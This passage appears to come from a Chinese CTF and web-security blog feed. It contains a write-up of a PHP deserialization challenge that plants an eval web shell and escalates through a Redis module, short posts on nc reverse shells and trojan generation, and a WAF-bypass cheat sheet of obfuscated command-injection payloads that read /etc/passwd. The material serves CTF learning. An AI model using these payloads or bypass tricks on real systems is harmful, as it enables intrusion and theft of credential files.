class="hljs-literal">True</span><br>            thread.start()<br>    <span class="hljs-keyword">except</span> KeyboardInterrupt:<br>        <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Shutting down proxy server...&quot;</span>)<br>    <span class="hljs-keyword">finally</span>:<br>        server_socket.close()<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">run_flask_app</span>():<br>    app.run(debug=<span class="hljs-literal">False</span>, host=<span class="hljs-string">&#x27;127.0.0.1&#x27;</span>, port=<span class="hljs-number">5000</span>)<br><br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:<br>    proxy_host = <span class="hljs-string">&quot;0.0.0.0&quot;</span><br>    proxy_port = <span class="hljs-number">5001</span><br>    target_host = <span class="hljs-string">&quot;127.0.0.1&quot;</span><br>    target_port = <span class="hljs-number">5000</span><br><br>    <span class="hljs-comment"># 安全反代，防止针对响应头的攻击</span><br>    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))<br>    proxy_thread.daemon = <span class="hljs-literal">True</span><br>    proxy_thread.start()<br><br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&quot;Starting Flask app...&quot;</span>)<br>    run_flask_app()<br><br><br><br></code></pre></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>CTF</category>
      
    </categories>
    
    
    <tags>
      
      <tag>ctf</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>bypass</title>
    <link href="/2025/01/09/bypass/"/>
    <url>/2025/01/09/bypass/</url>
    
    <content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>在长城杯上偶遇未知bypass，拼劲全力无法战胜，特此来修炼</p><h2 id="天翼杯-2021-esay-eval"><a href="#天翼杯-2021-esay-eval" class="headerlink" title="[天翼杯 2021]esay_eval"></a><a href="https://www.nssctf.cn/problem/364">[天翼杯 2021]esay_eval</a></h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">A</span></span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$code</span> = <span class="hljs-string">&quot;&quot;</span>;<br>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__call</span>(<span class="hljs-params"><span class="hljs-variable">$method</span>,<span class="hljs-variable">$args</span></span>)</span>&#123;<br>        <span class="hljs-keyword">eval</span>(<span class="hljs-variable language_">$this</span>-&gt;code);<br>        <br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>)</span>&#123;<br>        <span class="hljs-variable language_">$this</span>-&gt;code = <span class="hljs-string">&quot;&quot;</span>;<br>    &#125;<br>&#125;<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">B</span></span>&#123;<br>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span>&#123;<br>        <span class="hljs-keyword">echo</span> <span class="hljs-variable language_">$this</span>-&gt;a-&gt;<span class="hljs-title function_ invoke__">a</span>();<br>    &#125;<br>&#125;<br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_REQUEST</span>[<span class="hljs-string">&#x27;poc&#x27;</span>]))&#123;<br>    <span class="hljs-title function_ invoke__">preg_match_all</span>(<span class="hljs-string">&#x27;/&quot;[BA]&quot;:(.*?):/s&#x27;</span>,<span class="hljs-variable">$_REQUEST</span>[<span class="hljs-string">&#x27;poc&#x27;</span>],<span class="hljs-variable">$ret</span>);<br>    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$ret</span>[<span class="hljs-number">1</span>])) &#123;<br>        <span class="hljs-keyword">foreach</span> (<span class="hljs-variable">$ret</span>[<span class="hljs-number">1</span>] <span class="hljs-keyword">as</span> <span class="hljs-variable">$i</span>) &#123;<br>            <span class="hljs-keyword">if</span>(<span class="hljs-title function_ invoke__">intval</span>(<span class="hljs-variable">$i</span>)!==<span class="hljs-number">1</span>)&#123;<br>                <span class="hljs-keyword">exit</span>(<span class="hljs-string">&quot;you want to bypass wakeup ? no !&quot;</span>);<br>            &#125;<br>        &#125;<br>        <span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$_REQUEST</span>[<span class="hljs-string">&#x27;poc&#x27;</span>]);    <br>    &#125;<br><br><br>&#125;<span class="hljs-keyword">else</span>&#123;<br>    <span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br>&#125; <br></code></pre></td></tr></table></figure><p>首先会对传入的参数做一个正则匹配，匹配A类和B类名字后面的数目，要求必须为1，而我们要绕过<br>wakeup需要大于1，这里利用php对类名大小写不敏感的特性去绕过，payload</p><p>so easy 的一个反序列化,要注意一个点,利用php对类名大小写不敏感的特性去绕过题目中的正则表达式，在构造payload的时候，将类名换为a,b；</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">a</span></span>&#123;<br><br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$code</span> = <span class="hljs-string">&quot;&quot;</span>;<br>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>&#123;<br><span class="hljs-comment">//$this-&gt;code=&quot;phpinfo();&quot;;</span><br>    <span class="hljs-variable language_">$this</span>-&gt;code=<span class="hljs-string">&quot;eval(\$_GET[&#x27;pass&#x27;]);&quot;</span>;<span class="hljs-comment">//写个🐎进去</span><br>&#125;<br><br>&#125;<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">b</span></span>&#123;<br>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>&#123;<br>        <span class="hljs-variable language_">$this</span>-&gt;a=<span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">a</span>();<br>    &#125;<br>&#125;<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">b</span>());<br><span class="hljs-comment"># 最后改一下b类属性的数量,让其不为1,触发wakeup魔术方法</span><br><span class="hljs-comment">#O:1:&quot;b&quot;:1:&#123;s:1:&quot;a&quot;;O:1:&quot;a&quot;:1:&#123;s:4:&quot;code&quot;;s:10:&quot;phpinfo();&quot;;&#125;&#125;</span><br><span class="hljs-comment">#改成O:1:&quot;b&quot;:2:&#123;s:1:&quot;a&quot;;O:1:&quot;a&quot;:1:&#123;s:4:&quot;code&quot;;s:10:&quot;phpinfo();&quot;;&#125;&#125;</span><br><br>O:<span class="hljs-number">1</span>:<span class="hljs-string">&quot;b&quot;</span>:<span class="hljs-number">2</span>:&#123;s:<span class="hljs-number">1</span>:<span class="hljs-string">&quot;a&quot;</span>;O:<span class="hljs-number">1</span>:<span class="hljs-string">&quot;a&quot;</span>:<span class="hljs-number">1</span>:&#123;s:<span class="hljs-number">4</span>:<span class="hljs-string">&quot;code&quot;</span>;s:<span class="hljs-number">21</span>:<span class="hljs-string">&quot;eval(<span class="hljs-subst">$_POST</span>[&#x27;pass&#x27;]);&quot;</span>;&#125;&#125;<br><br></code></pre></td></tr></table></figure><p>蚁剑连接<br><img src="https://gitee.com/fogpost/photo/raw/master/202501091121732.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202501091120750.png" srcset="/img/loading.gif" lazyload><br>发现权限不足，尝试使用蚁剑的插件，暴力绕过<br>disable_functions,Antsword插件<br><img src="https://gitee.com/fogpost/photo/raw/master/202501091213124.png" srcset="/img/loading.gif" lazyload></p><p>同时发现这个是个swp文件，这是vim缓存泄露的文件，尝试恢复一下</p><blockquote><p>在开发人员使用 vim 编辑器 编辑文本时，系统会自动生成一个备份文件，当编辑完成后，保存时，原文件会更新，备份文件会被自动删除。<br>但是，当编辑操作意外终止时，这个备份文件就会保留，如果多次编辑文件都意外退出，备份文件并不会覆盖，而是以 swp、swo、swn 等其他格式，依次备份。</p></blockquote><p>利用vim来恢复 vim -r XXXX.php.swp<br><img src="https://gitee.com/fogpost/photo/raw/master/202501091224047.png" srcset="/img/loading.gif" lazyload><br>在这里发现了REDIS的配置文件，尝试连接</p><p>这里要下载exp.so文件，并进行利用，简单解释一下exp.so文件</p><blockquote><p>Redis 中的 exp.so 文件通常被用作 Redis 提权的一种方式。这个文件是一个 Redis 模块，它可以在 Redis 服务器中执行任意代码。<br>Redis 模块是一种可插拔的扩展，它允许用户在 Redis 服务器中添加新的功能。exp.so 文件是一个 Redis 模块，它提供了一些命令和功能，可以让攻击者在 Redis 服务器中执行任意代码，从而获得服务器的控制权。<br>在 Redis 提权攻击中，攻击者通常会利用 Redis 的漏洞或者弱密码，获取 Redis 服务器的访问权限。一旦攻击者获得了访问权限，他们就可以上传 exp.so 文件到 Redis 服务器中，并使用 Redis 的 module load 命令加载这个文件。这个文件会在 Redis 服务器中执行任意代码，从而让攻击者获得服务器的控制权</p></blockquote><p>EXP.SO:<a href="https://github.com/Dliv3/redis-rogue-server">https://github.com/Dliv3/redis-rogue-server</a></p><p>然后用redis提权<br><img src="https://gitee.com/fogpost/photo/raw/master/202501091255627.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202501091256738.png" srcset="/img/loading.gif" lazyload><br>随便选择一个，执行命令，利用module load 命令加载这个文件，然后才能进行RCE，所以在虚拟命令行输入MODULE LOAD &#x2F;var&#x2F;www&#x2F;html&#x2F;exp.so<br>然后我们就可以进行命令执行了，即可查看flag<br><img src="https://gitee.com/fogpost/photo/raw/master/202501091257489.png" srcset="/img/loading.gif" lazyload></p>]]></content>
    
    
    <categories>
      
      <category>CTF</category>
      
    </categories>
    
    
    <tags>
      
      <tag>ctf</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>nc监听端口和反弹shell</title>
    <link href="/2025/01/05/nc%E7%9B%91%E5%90%AC%E7%AB%AF%E5%8F%A3%E5%92%8C%E5%8F%8D%E5%BC%B9shell/"/>
    <url>/2025/01/05/nc%E7%9B%91%E5%90%AC%E7%AB%AF%E5%8F%A3%E5%92%8C%E5%8F%8D%E5%BC%B9shell/</url>
    
    <content type="html"><![CDATA[<p>nc [-hlnruz] [-g&lt;网关…&gt;] [-G&lt;指向器数目&gt;] [-i&lt;延迟秒数&gt;] [-o&lt;输出文件&gt;] [-p&lt;通信端口&gt;] [-s&lt;来源位址&gt;] [-v…] [-w&lt;超时秒数&gt;] [主机名称] [通信端口…]</p><p><img src="https://gitee.com/fogpost/photo/raw/master/202501052042662.png" srcset="/img/loading.gif" lazyload></p><p>注意再使用nc的-l时连接成功不会有明显的回显，但是这个时候可能已经连接上了<br><img src="https://gitee.com/fogpost/photo/raw/master/202501052046913.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202501052047210.png" srcset="/img/loading.gif" lazyload></p>]]></content>
    
    
    <categories>
      
      <category>WEB</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>简单的远控木马啊</title>
    <link href="/2025/01/05/%E7%AE%80%E5%8D%95%E7%9A%84%E8%BF%9C%E6%8E%A7%E6%9C%A8%E9%A9%AC%E5%95%8A/"/>
    <url>/2025/01/05/%E7%AE%80%E5%8D%95%E7%9A%84%E8%BF%9C%E6%8E%A7%E6%9C%A8%E9%A9%AC%E5%95%8A/</url>
    
    <content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>玩玩木马</p><h2 id="利用kali生成"><a href="#利用kali生成" class="headerlink" title="利用kali生成"></a>利用kali生成</h2><p><img src="https://gitee.com/fogpost/photo/raw/master/202501052023460.png" srcset="/img/loading.gif" lazyload></p><p>参数含义：-p:payload 载荷 目标操作系统类型&#x2F;系统位数&#x2F;获取目标的控制权限&#x2F;使靶机连接至攻击机 -f:format 文件格式   -o:output 输出文件</p><p><img src="https://gitee.com/fogpost/photo/raw/master/202501052058694.png" srcset="/img/loading.gif" lazyload><br>配置攻击模块</p>]]></content>
    
    
    <categories>
      
      <category>渗透测试</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>webtest</title>
    <link href="/2025/01/05/webtest/"/>
    <url>/2025/01/05/webtest/</url>
    
    <content type="html"><![CDATA[<h1 id="JSFUCK"><a href="#JSFUCK" class="headerlink" title="JSFUCK"></a>JSFUCK</h1><figure class="highlight scheme"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs scheme">[][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]][([][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+([][[]]+[])[<span class="hljs-name">+!+</span>[]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]+([][[]]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]]((<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">+!+</span>[]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!</span>[]+[][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]])[<span class="hljs-name">!+</span>[]+!+[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+[<span class="hljs-name">+!+</span>[]]+(<span class="hljs-name">!!</span>[]+[][(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+([<span class="hljs-name">!</span>[]]+[][[]])[<span class="hljs-name">+!+</span>[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]]+(<span class="hljs-name">!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">!+</span>[]+!+[]+!+[]]+(<span class="hljs-name">!!</span>[]+[])[<span class="hljs-name">+!+</span>[]]])[<span class="hljs-name">!+</span>[]+!+[]+[<span class="hljs-name"><span class="hljs-built_in">+</span></span>[]]])()<br></code></pre></td></tr></table></figure><p>这一段是alert(1),再开发者工具的console(控制台)中运行即可。</p>]]></content>
    
    
    
  </entry>
  
  
  
  <entry>
    <title>day01</title>
    <link href="/2025/01/02/day01/"/>
    <url>/2025/01/02/day01/</url>
    
    <content type="html"><![CDATA[<h1 id="新刊blog，堂堂连载"><a href="#新刊blog，堂堂连载" class="headerlink" title="新刊blog，堂堂连载"></a>新刊blog，堂堂连载</h1>]]></content>
    
    
    
  </entry>
  
  
  
  <entry>
    <title>waf绕过总结</title>
    <link href="/2024/12/11/rce%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/"/>
    <url>/2024/12/11/rce%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/</url>
    
    <content type="html"><![CDATA[<h1 id="waf绕过总结"><a href="#waf绕过总结" class="headerlink" title="waf绕过总结"></a>waf绕过总结</h1><h2 id="ping"><a href="#ping" class="headerlink" title="ping"></a>ping</h2><p>在ping的过程中一些地方可以在后方利用;或者|直接进行命令执行，但这时便会遇到一些相关方面的waf也就是阻拦，我们需要绕过这些waf</p><h2 id="空格绕过："><a href="#空格绕过：" class="headerlink" title="空格绕过："></a>空格绕过：</h2><p>在bash下可以用$IFS、${IFS}、$IFS$9、%09、&lt;、&gt;、&lt;&gt;、{,}（例如{cat,&#x2F;etc&#x2F;passwd} ）、%20(space)、%09(tab)</p><h2 id="命令执行函数system-绕过"><a href="#命令执行函数system-绕过" class="headerlink" title="命令执行函数system()绕过"></a>命令执行函数system()绕过</h2><p>系统命令函数system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号（·） 同shell_exec()用以上函数都可进行绕过。</p><h2 id="命令链接符："><a href="#命令链接符：" class="headerlink" title="命令链接符："></a>命令链接符：</h2><p>Windows和Linux都支持的命令连接符：<br>cmd1 | cmd2 只执行cmd2<br>cmd1 || cmd2 只有当cmd1执行失败后，cmd2才被执行<br>cmd1 &amp; cmd2 先执行cmd1，不管是否成功，都会执行cmd2<br>cmd1 &amp;&amp; cmd2 先执行cmd1，cmd1执行成功后才执行cmd2，否则不执行cmd2<br>Linux还支持分号（;），cmd1;cmd2 按顺序依次执行，先执行cmd1再执行cmd2  </p><h2 id="正则匹配绕过"><a href="#正则匹配绕过" class="headerlink" title="正则匹配绕过"></a>正则匹配绕过</h2><h3 id="双写绕过"><a href="#双写绕过" class="headerlink" title="双写绕过"></a>双写绕过</h3><p>普通的正则只会匹配一次，所以我们可以双写绕过。pphphp，只会过滤掉中间的php剩下来的部分可以组成第二个php，phpphpinfoinfo，同理。</p><h3 id="利用变量绕过"><a href="#利用变量绕过" class="headerlink" title="利用变量绕过"></a>利用变量绕过</h3><p>a&#x3D;c;b&#x3D;a;c&#x3D;t;<br>$a$b$c &#x2F;etc&#x2F;passwd</p><h3 id="利用base编码绕过"><a href="#利用base编码绕过" class="headerlink" title="利用base编码绕过"></a>利用base编码绕过</h3><p>echo ‘cat’ | base64<br>Y2F0wqAK<br><code>echo &#39;Y2F0wqAK&#39; | base64 -d</code> &#x2F;etc&#x2F;passwd<br>echo ‘Y2F0IC9ldGMvcGFzc3dk’ | base64 -d | bash  &#x2F;&#x2F;   cat &#x2F;etc&#x2F;passwd </p><h3 id="利用hex编码绕过"><a href="#利用hex编码绕过" class="headerlink" title="利用hex编码绕过"></a>利用hex编码绕过</h3><p>echo “636174202F6574632F706173737764” | xxd -r -p|bash &#x2F;&#x2F; hex编码后的0x不需要输入</p><h3 id="利用oct编码（八进制）绕过"><a href="#利用oct编码（八进制）绕过" class="headerlink" title="利用oct编码（八进制）绕过"></a>利用oct编码（八进制）绕过</h3><p>$(printf “\154\163”)  &#x2F;&#x2F;ls命令</p><h3 id="利用16进制编码绕过"><a href="#利用16进制编码绕过" class="headerlink" title="利用16进制编码绕过"></a>利用16进制编码绕过</h3><p>“\x73\x79\x73\x74\x65\x6d”(“cat &#x2F;etc&#x2F;passwd”)</p><h3 id="利用拼接绕过"><a href="#利用拼接绕过" class="headerlink" title="利用拼接绕过"></a>利用拼接绕过</h3><p>(sy.(st).em)(whoami);&#x2F;&#x2F;<br>c’’a’’t &#x2F;etc&#x2F;passwd&#x2F;&#x2F;单引<br>c””a””t &#x2F;etc&#x2F;passwd&#x2F;&#x2F;双引<br>c<code>a</code>t &#x2F;etc&#x2F;passwd&#x2F;反单引<br>c\a\t &#x2F;etc&#x2F;passwd&#x2F;&#x2F;反斜线<br>$*和$@，$x(x 代表 1-9),${x}(x&gt;&#x3D;10) :<br>比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:<br>wh$1oami<br>who$@ami<br>whoa$*mi<br>666<code>whoami</code>666 &#x2F;&#x2F;bash: 666root666: command not found<br>666<code>\whoami</code>666 &#x2F;&#x2F;bash: 666root666: command not found<br>&#x2F;&#x2F;命令执行后的结果在2个666中间  </p><h3 id="插入注释"><a href="#插入注释" class="headerlink" title="插入注释"></a>插入注释</h3><p>（这对于绕过阻止特定PHP函数名称的WAF规则集很有用）<br>system&#x2F;<em>A10ng_</em>&#x2F;(whoami);<br>system&#x2F;<em>A10ng_</em>&#x2F;(wh.&#x2F;<em>A10ng_</em>&#x2F;(oa)&#x2F;<em>caixukun</em>&#x2F;.mi);<br>(sy.&#x2F;<em>A10ng_</em>&#x2F;(st)&#x2F;<em>A10ng_</em>&#x2F;.em)&#x2F;<em>A10ng_</em>&#x2F;(wh.&#x2F;<em>A10ng_</em>&#x2F;(oa)&#x2F;<em>A10ng_</em>&#x2F;.mi);</p><h3 id="利用未初始化变量"><a href="#利用未初始化变量" class="headerlink" title="利用未初始化变量"></a>利用未初始化变量</h3><p>cat$u &#x2F;etc&#x2F;passwd<br>cat &#x2F;etc$u&#x2F;passwd</p><h3 id="过滤了斜杠’-‘"><a href="#过滤了斜杠’-‘" class="headerlink" title="过滤了斜杠’&#x2F;‘"></a>过滤了斜杠’&#x2F;‘</h3><p>可利用’;’拼接命令绕过<br>cd ..;cd ..;cd ..;cd ..;cd etc;cat passwd</p><h3 id="利用通配符绕过"><a href="#利用通配符绕过" class="headerlink" title="利用通配符绕过"></a>利用通配符绕过</h3><p>cat &#x2F;passwd：<br>??? &#x2F;e??&#x2F;?a????</p><h3 id="利用path绕过"><a href="#利用path绕过" class="headerlink" title="利用path绕过"></a>利用path绕过</h3><p>可以通过截断和拼接来得到我们想要的来getshell<br>${PATH:5:1} &#x2F;&#x2F;l<br>${PATH:2:1} &#x2F;&#x2F;s<br>${PATH:5:1}${PATH:2:1} &#x2F;&#x2F;拼接后是ls,执行命令<br>${PATH:5:1}s &#x2F;&#x2F;拼接后是ls,执行命令 </p><h3 id="异或绕过"><a href="#异或绕过" class="headerlink" title="异或绕过"></a>异或绕过</h3><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs py"><span class="hljs-keyword">def</span> <span class="hljs-title function_">xor</span>():<br>    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>,<span class="hljs-number">128</span>):<br>        <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>,<span class="hljs-number">128</span>):<br>            result=i^j<br>            <span class="hljs-built_in">print</span>(<span class="hljs-built_in">chr</span>(i)+<span class="hljs-string">&#x27;  ^  &#x27;</span>+<span class="hljs-built_in">chr</span>(j)+<span class="hljs-string">&#x27; == &gt;  &#x27;</span>+<span class="hljs-built_in">chr</span>(result)+<span class="hljs-string">&quot; ASCII:&quot;</span>+<span class="hljs-built_in">str</span>(result))<br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&quot;__main__&quot;</span>:<br>    xor()<br></code></pre></td></tr></table></figure><p>(‘GGGGGGG’^’7&#x2F;7.)!(‘)();<br>其中’G’^’7’&#x3D;p，’G’^’&#x2F;‘&#x3D;h…………依次类推拼出你想得到的令。</p><h3 id="取反绕过"><a href="#取反绕过" class="headerlink" title="取反绕过"></a>取反绕过</h3><p>在这里存在一个取反的问题，原因是隐藏字母、可还原性、URL 编码与二进制兼容性<br>取反是一种隐蔽技术，它将敏感字符转换为难以识别的形式，有效规避检测。而不取反会直接暴露敏感字符或使其更容易被解码检测。结合 urlencode() 等方法，按位取反可以提升绕过复杂度并增强隐匿性</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">urlencode</span>(~<span class="hljs-string">&#x27;phpinfo&#x27;</span>);<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>例如phpinfo()就是：<br>(~’%8F%97%8F%96%91%99%90’)();</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 